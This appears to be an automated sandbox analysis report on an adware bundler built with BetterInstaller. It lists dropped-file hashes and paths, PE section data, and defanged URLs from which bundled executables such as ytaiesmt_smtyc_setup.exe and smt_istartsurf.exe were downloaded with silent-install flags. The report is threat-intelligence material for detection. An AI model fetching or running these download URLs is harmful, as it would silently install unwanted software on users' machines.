998ccddac3faf6fda2fdd3398788fea9 c:\Program Files\Common Files\ShopperPro\spbii32.exe
81f5d1cf2a7ceec91222f2c5b5a9b4d3 c:\Program Files\Common Files\ShopperPro\spbii64.exe
970ea21394eb066629a11e1c6c8ffc1e c:\Program Files\Common Files\ShopperPro\spbiu.exe
2f75b93a4804cf9bebb69d4c75f576e0 c:\Program Files\Common Files\ShopperPro\spbiw.sys
d51f992ad812a02bea7c3bf64e01c1d2 c:\ProgramData\ShopperPro\ShopperPro.dll
61fb66630072b52f164b6b392a19b901 c:\ProgramData\ShopperPro\ShopperPro64.dll
f94557f8fd41731a3d180383a516fbe3 c:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
e0e06dca0f07ebaba0545450d0f69ade c:\ProgramData\YTAHelper\YTAHelper.dll
a3b46b4c5d373c51e6e489bb603dba9f c:\ProgramData\YTAHelper\YTAHelper64.dll
d51f992ad812a02bea7c3bf64e01c1d2 c:\Users\All Users\ShopperPro\ShopperPro.dll
61fb66630072b52f164b6b392a19b901 c:\Users\All Users\ShopperPro\ShopperPro64.dll
f94557f8fd41731a3d180383a516fbe3 c:\Users\All Users\WindowsMangerProtect\ProtectWindowsManager.exe
e0e06dca0f07ebaba0545450d0f69ade c:\Users\All Users\YTAHelper\YTAHelper.dll
a3b46b4c5d373c51e6e489bb603dba9f c:\Users\All Users\YTAHelper\YTAHelper64.dll
a9f1ecb4159ecaf56bbe555f81374f25 c:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe
ea0ca98847dc1a403ffec3be116e8b2f c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_2875\DCytaiesmt_smtyc_setup.exe
ea0ca98847dc1a403ffec3be116e8b2f c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_7983\DCytaiesmt_smtyc_setup.exe
3180797e425a3b7d7f7f38f0bc9ed7fd c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\setup[1].exe
4610e79bf57d9fa17c641906929ca232 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp
b5ee922cba1fbb749f595ccdb4e59d53 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_12675\ins_iwebar.exe
533abfc3793a8b50e83147d299249c1e c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_12675\ins_sense.exe
1d3374710779765f74bfc2e8342bef88 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_12675\ins_shopperpro.exe
f8076da03b6b36fa1ec0bd5a082d8d95 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_12675\ins_yta.exe
45960b40c1ecb75ed5549a80049879e1 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx
76f41068f2fa82523736c58c6a6a27db c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll
29605c3fee628f62dea028a354425e3f c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe
6f4f8c2cb7e07436aa59a72c89fbaa4a c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe
46e2c40e8adae15d5e3a164e7b65fe40 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe
a77332904ccef3efc9dbb27bfc8dfd31 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe
f756379f1f0fbad6bcf53170aa804918 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll
81baf300ca0dc9a3d557d0e84567b1a2 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll
c014a1dddb4677f54f88efaaa492ddce c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll
f6ac21939884df5c0201cdf1ead06b90 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe
2c3a467735e2d937ce44034869b43231 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll
5e2c0de2f0f15923154293dea89d196b c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe
39d9593e5c43d81fe9724fb0f7b16cc0 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe
850e72f521667f04a1fa06bc92311b37 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe
e0024c585767d4851de5e7331ac91ee5 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll
c84cbb44c3aca460522eba9bd033cd62 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll
4a53830f2e9fa95a7873dcebd0249e80 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe
518879abe3170dabd172dfffcd165598 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe
c66293ccd7cbe84b1b8f393ca5e4e6d7 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
3f4049d8bf040812a96680c5a6b377fd c:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll
42b98142cea6b94d70c4a614d579f68b c:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe
6f7d9e111a17fab195efe0bbd3a0442d c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\AccDownload.dll
faa7f034b38e729a983965c04cc70fc1 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\nsProcess.dll
3a9ce8edf728d00a44376a75fe7b2aca c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\nsProcess.dll
ea0ca98847dc1a403ffec3be116e8b2f c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\DCytaiesmt_smtyc_setup.exe
b10d142d2cdfab718904613c03700830 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe
39d9593e5c43d81fe9724fb0f7b16cc0 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\unelevate.exe
3663b55452d8e814f62d6fae8eb32d65 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\tmp\XTab_Setup2121.exe
f94557f8fd41731a3d180383a516fbe3 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\tmp\wpm_v20.0.0.1953_0302.exe
acf2f3ad315964ec2ed1ec4e61bd1f96 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe
4f9236be13917b89f7a03dea85f220fa c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe
d8ba5f4e6a1594d0e07c886dac0f5f8c c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe
a5bfd6a87161d5dfa81cb5c2c6d29488 c:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe
45960b40c1ecb75ed5549a80049879e1 c:\Windows\SysWOW64\AniGIF.ocx
45960b40c1ecb75ed5549a80049879e1 c:\Windows\System32\AniGIF.ocx

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.1.0.0
File Description: Powered by BetterInstaller
Comments:
Language: Language Neutral

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 28860 29184 4.36907 33e8227bf6edbf3997e3d0895494668e
.data 36864 140 512 0.818223 1b0351714f371c0ba066871d4e504b00
.rdata 40960 3196 3584 3.54441 88a268b1fac88e9fad865c68cf3abce2
.bss 45056 110088 0 0 d41d8cd98f00b204e9800998ecf8427e
.idata 155648 4932 5120 3.53424 11c816edc4ef9cc4aa5511f8a707232b
.ndata 163840 36864 1024 0 0f343b0931126a20f133d67c2b018a3b
.rsrc 200704 17800 17920 3.95009 38aa1bb4b24ba9d1eca880d3aa08b1cd

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 846
3fe02ef6a2ede61ce4dac40da7715dcd
0a6e78dcc9fb156b4ff298b1e5fe1941
6d203980cf5a21ffee449394f4bf280e
b061e2a27452f74226d698e1b3e124bb
59d588e9c97e25cc1f254ff12a0f0466
3ecfcbcb3382c6b67c0ae0e142ed465c
27041c39dd84a6fbc8448ff79cc0859f
3d4d819e4d48435d3fefe71bed7d6166
4a9672b0b84140521ef864faabe7c0c2
c57649a6d18cc7a956f3b1a8d308bc00
dae072ac30542541f1bc197350361e0f
751756f478d3600211e5b226e19343d9
12069d8d4502849e2b48e60ebcb03464
d341d306b8444298cb6097cd6e1b33e7
da91bce76cb09a85213527c60e5407a0
f67fac16f3528c9770c88b99fdeab9ab
cb7a667d4c8cf75d21d42ea5013e6fa0
42e27ac06103be5048016f0e6e8c6049
b94c654cb53b386124980e1ffb455e9e
cfe4fd52a52f8fd3b1ea8cfbb8b80626
f730160cf51d9436dafdc0d7e73723fb
107e4dff93c730f0dfd7b0fba2aba7c7
36e6c3f7d113d7aed4817f36ce61fde6
4db13cd773dcf47449d0417dc9b8db50
27fdf1e4ef4fc5b8b1bf6cabf9bb5ae7

URLs

URL IP
hxxp://installer.betterinstaller.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://d1tlvbabel9f8s.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg 54.192.47.13
hxxp://d2d55ordy2t3g4.cloudfront.net/images/Tokyo/tokyo_sprite_full.png 54.192.46.164
hxxp://installer.betterinstaller.com/installer/ajax
hxxp://d2d55ordy2t3g4.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html 54.192.46.164
hxxp://d1tlvbabel9f8s.cloudfront.net/sponsored/istartsurf/eula-istartsurf.html 54.192.47.13
hxxp://www.scilor.com/grooveshark/download/install.exe 80.82.79.63
hxxp://d31kvmpgk4j074.cloudfront.net/sponsored/swiftrecord/eula-swiftrecord.html 54.230.44.254
hxxp://d1p2zvpeuweyai.cloudfront.net/affiliates/grooveload/scilors4848.png
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=swiftrecord&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.7413327052117108
hxxp://d2d55ordy2t3g4.cloudfront.net/affiliates/eula.html 54.192.46.164
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=istartsurf&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.6315553308195835
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=swiftrecord&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=2&index_in_screen=1&index_in_session=2&0.061682175257459115
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=istartsurf&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=3&index_in_screen=1&index_in_session=3&0.554633258867026
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=appshat_madness&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.9986011120462745
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=appshat_madness&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=4&index_in_screen=1&index_in_session=4&0.2472985872629334
hxxp://installer.betterinstaller.com/downloader/grooveload/grooveload/b4cbe9ed5adec14c854e2a5305d64e4a?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=b4cbe9ed5adec14c854e2a5305d64e4a&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://installer.betterinstaller.com/installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[swiftrecord][exec_args]=/np 1 /is smp1ua &offers[swiftrecord][offer_indexes][slot_number]=2&offers[swiftrecord][offer_indexes][index_in_screen]=1&offers[swiftrecord][offer_indexes][index_in_session]=2&offers[istartsurf][exec_args]=-silence -ptid=smt &offers[istartsurf][offer_indexes][slot_number]=3&offers[istartsurf][offer_indexes][index_in_screen]=1&offers[istartsurf][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process /run_bi&offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=608d3271d8f3494f867a2b514a49c4e9&uid=b4cbe9ed5adec14c854e2a5305d64e4a&tokyo_csrf_key=87eed94e576f4e7ca30f8128b45f2cf4&tokyo_csrf_timestamp=1429064894&ffInstalled=false&dfz=false&affid=grooveload&sid=grooveload&country=UA&hostBrowser=ff&unique_id=8625ca1db67bb0868ba6d89d9c34550b
hxxp://installer.betterinstaller.com/downloader/grooveload/grooveload/118da1f976d76e498cb7b97066dd3d92?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=118da1f976d76e498cb7b97066dd3d92&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://installer.betterinstaller.com/installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[swiftrecord][exec_args]=/np 1 /is smp1ua &offers[swiftrecord][offer_indexes][slot_number]=2&offers[swiftrecord][offer_indexes][index_in_screen]=1&offers[swiftrecord][offer_indexes][index_in_session]=2&offers[istartsurf][exec_args]=-silence -ptid=smt &offers[istartsurf][offer_indexes][slot_number]=3&offers[istartsurf][offer_indexes][index_in_screen]=1&offers[istartsurf][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process &offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=608d3271d8f3494f867a2b514a49c4e9&uid=118da1f976d76e498cb7b97066dd3d92&tokyo_csrf_key=9c3600a91175a84c6c70fe97d9191255&tokyo_csrf_timestamp=1429064894&ffInstalled=false&dfz=false&affid=grooveload&sid=grooveload&country=UA&hostBrowser=ff&unique_id=8625ca1db67bb0868ba6d89d9c34550b
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=1&index_in_screen=1&index_in_session=1&0.9926674870558865
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=swiftrecord&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=2&index_in_screen=1&index_in_session=2&0.9087786147480426
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=istartsurf&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=3&index_in_screen=1&index_in_session=3&0.3467059525107588
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=appshat_madness&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=4&index_in_screen=1&index_in_session=4&0.06926717798892545
hxxp://d31kvmpgk4j074.cloudfront.net/images/Tokyo/tokyo_sprite_full.png 54.230.44.254
hxxp://d2otsfra4otprh.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe 54.230.45.187
hxxp://a1726.d.akamai.net/sd?is=sm
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=1&index_in_screen=1&index_in_session=1&0.9374496124433497
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/23783.ashx?e=2v0SNuZrMFzXE3CBqGdJyVTMxLPMegp5ecAmwoMDzzeMDmRWpWBZ0CAvELRpepitjKjHf0fty0gsvrWM 2Yqs3AXDn0NgasyWLazpewXw1jSN3ZRr1JhaATxIUcsgQ wP4sPieL6LVh0ElnmuIhy xrlcXqCG0Rt2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/23783.ashx?e=2v0SNuZrMFzXE3CBqGdJyVTMxLPMegp5ecAmwoMDzzeMDmRWpWBZ0CAvELRpepitjKjHf0fty0gsvrWM 2Yqs3AXDn0NgasyWLazpewXw1g ltfx41nMghQC drCF7eFTvYhKMprBayhLBQe2rbTMasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruRy5x0Up4A3P
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/t.ashx?e=k64GogClQtUsXAWAU9Yfxpo9cwPIlOkWQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMalAK2aExBqS8WBoC4DsGrqWAqR2XPWVGhi24b6K/4pIUUAvnawhe3hcrFg62ocRzdZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg==
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/install.ashx?e=wlkQ3WKgYpT/HsUBn07KUki9wFUWENkpQHmaKaq/tyboUht0DV8eHWD3h9gcT/r2iwEbfeVtNep9AGHLpPN9dvm9MH d93Mvga zuhV9q9Hxu1y 6Ac0RKhN6psLdnSsdosECI4dMRD6OfU8/FMPXH6dYg1rlTgUy/ecrRsbq5tpfYOBgM/eiVGOPVXIjHvBpTJ2ibhTIXvL Evyupn5FoSAG857z6vSJoFp5BSgEe3Or7WZbrDrQA0K6wxeD7aRji4XER0T3SsRjhY3fDkRrRGH92XQHP1gIC8CeRVXYM7tt0dYIfV76/i/Rt8z5Huw5BjHXyCKE2ym6/9nVi9VeWyIO7X fC8f4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJo6QfYieQtrRAHmwJ7F0OZh
hxxp://www.girlliuxiaowei.com/home/smt_istartsurf.exe
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/23783.ashx?e=bomaaVKFzzKfZNC1TqAoBDmrkcKym6qf1VMaOJFqXYpm5LT87ehXaouB5vT09TkZOGG6MkzEM7zAA5fsVkEwXwPPQmQ9wV0ecSC1j/7u2ZO0iegjomg76biKIFo3W8f23Wq7IsWCDz41BVXlOorQo K9V0GRREST3FsALGJiApIj GXdVcREtCUHeR8YCF3xzZQYVq/ZZusvNkHARych5LYVlLaQ3XGR2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQ91YLfuzI3pzjIpN1LJrzBQ10b3mYTWxvSQQFddyO yd2joo5c5pgUtlaETKETqg
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/23783.ashx?e=eISsn0A7mAaebxLgvS5H7qpNEI 1DWq56i9SI6jSynH8ln8Iap23/wrmOSgIBLqiUA7dl9owwhL1x9NKeiwpd/ZTlDOie/S4Aiuex2EYWMhDBISkYz7TwWJ/JG1uxdSaFjCwIjKziMWX1FtTkCv6XLu5bbroEEpm4nJwzEzT2yGx2KlVs8m8LqSlVGmgAnwDgZiB55ZFi60OR0krlKQ7F8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffRe18ke5PqUolQ9N4vKzl4ltILkcPZHlLF3YFs/ceKLXDQxT8NdYE8=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/t.ashx?e=wlkQ3WKgYpT/HsUBn07KUivLfUo0CTVixQ1lBHEbv7l4E7mrr1h80riKIFo3W8f23Wq7IsWCDz7y242T0dJTSUCN9h bV19VSl3u293svNWe4QpoO1WcaCmF904v4t2DMqrjxCw EkyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67kcucdFKeANzw==
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=LCnUzM5l8JL2b5ZtEYATmB9V9BA5MHOiW1tgKrNy38kDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/jCvZJfV0k89y4btG OZIk/c453xw7zJVfqR4rzu9tChRWoLVpCM9iEsfUYUM0LESxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/install.ashx?e=eISsn0A7mAaebxLgvS5H7qpNEI 1DWq5tpbGWL7zrrQ4pnkd WsjWQQHUomMkl9QATvQoDxleFsDxgJnHj3vjx0oWXzPcOQmVR5AawbKoxpMuJJrIhkGUXZ9hofOkBao99rHYRsHXhBFTOc0AzJvJE1lNRDT6ih0kuWOvdnHdKumYTzO WELM7Ot/W9fkCR9YnH606waHUIFsK7/Ya3qp3H4CQmKwMH4r9Jhf/fTQpezt6pbQmh/1TAyVFa8Kky4wWiZseMklSFEZLrLhs96otwo5V3AagblXQpk3ufzer4FsK7/Ya3qp3H4CQmKwMH4TiSKiKbKv61eLAdt2STwvhnJsfssGenaftxp29cdet/75Tb6nvI6oZN041sf6R9PPE5RP1LOLdYCQwnMzDg3zHYrlb1IcFzDTNXcF9DTrlfGbtKU5bgzqAwHikIrSv vxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe c91abE2NWPTbXnzkx FKQliZexFjJS44GH02ZDTF81o7EaJf8CJfPgEgBl18xKcF6cXD R1QKA==
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=LCnUzM5l8JL2b5ZtEYATmB9V9BA5MHOiW1tgKrNy38kDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/jCvZJfV0k89y4btG OZIk/mETyJyixTFVdn5IXPnT9 7PiCC4paVhd0qyZh7o5utwrMlDqNRTaUZyufAe/r4PSSODxTl6vkpv2VG tSTow4nSL7khl9oMvXFS8n4HuHoZzjIpN1LJrzBQ10b3mYTWxvSQQFddyO yd2joo5c5pgbVi 8z4nUW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=yhrBLBbZM9XWk3RCzFhOxlUYtpyRSfeW7OXLse4BafTbQC nVTu53mZVsyaCUtL6Avy26 fOLXYiOaWqTBqFeebV9s/TXOLcauIrXLinhTKzmHP80WGvKRVWaKclJYCzVR5AawbKoxopJb8t2bI2vOePBktlGtNZz3HjAX5f3MvAhSGeG7OvN9JDpDz//pXKODQ8kqa2OFucXyuYdOQyoSUkNtPbd 8ESeoz7Hkuh qyr6cWz/EZwJI6UuKm5vnmlnJUYJYVYrwTrcQUQelv06c6Q6eVjXcW8z/5roOjSNLgAlgaMwDxP0B1wuX /yA6BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLxcnh8TNur0oiOaWqTBqFeebV9s/TXOLcauIrXLinhTKzmHP80WGvKcqwZwxAX4ff
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=yhrBLBbZM9XWk3RCzFhOxlUYtpyRSfeW7OXLse4BafTbQC nVTu53mZVsyaCUtL6Avy26 fOLXYiOaWqTBqFeebV9s/TXOLcauIrXLinhTKzmHP80WGvKRVWaKclJYCzVR5AawbKoxopJb8t2bI2vOePBktlGtNZxQEru0RuuZR0qbfRkh1l0EPUrOSlnidUd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNsLyJ aniWV2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2qLXmYbGH27kp4qO3H67cr5ESiZEb8HioL/m6q7jb gwD3G1r3Ayy6ndhsDnEtZjeg==
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/yta33_full.exe
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=N6dOqWm8Q95zRTWqMhK921TMxLPMegp5w7yrMs7NkxmMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3X4l9XCm/Va/SiuwmdYQ9dwenF3E77x/HKYX3Ti/i3YP dzgnUBx9/Wjc3bWflJqtv R58jhZDUvHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRD3Vgt 7MjenOMik3UsmvMFDXRveZhNbG9JBAV13I77J3aOijlzmmBS2VoRMoROqA=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=N6dOqWm8Q95zRTWqMhK921TMxLPMegp5w7yrMs7NkxmMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3X4l9XCm/Va/VnFVL/bsGoNCUHeR8YCF313OfQWxYQIgX v6FJSWjmLUVyGRiJmmWZrdGZ5CXclXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaoteZhsYfbuSnio7cfrtyvkRKJkRvweKgv bqruNv6DAPcbWvcDLLqd2GwOcS1mN6
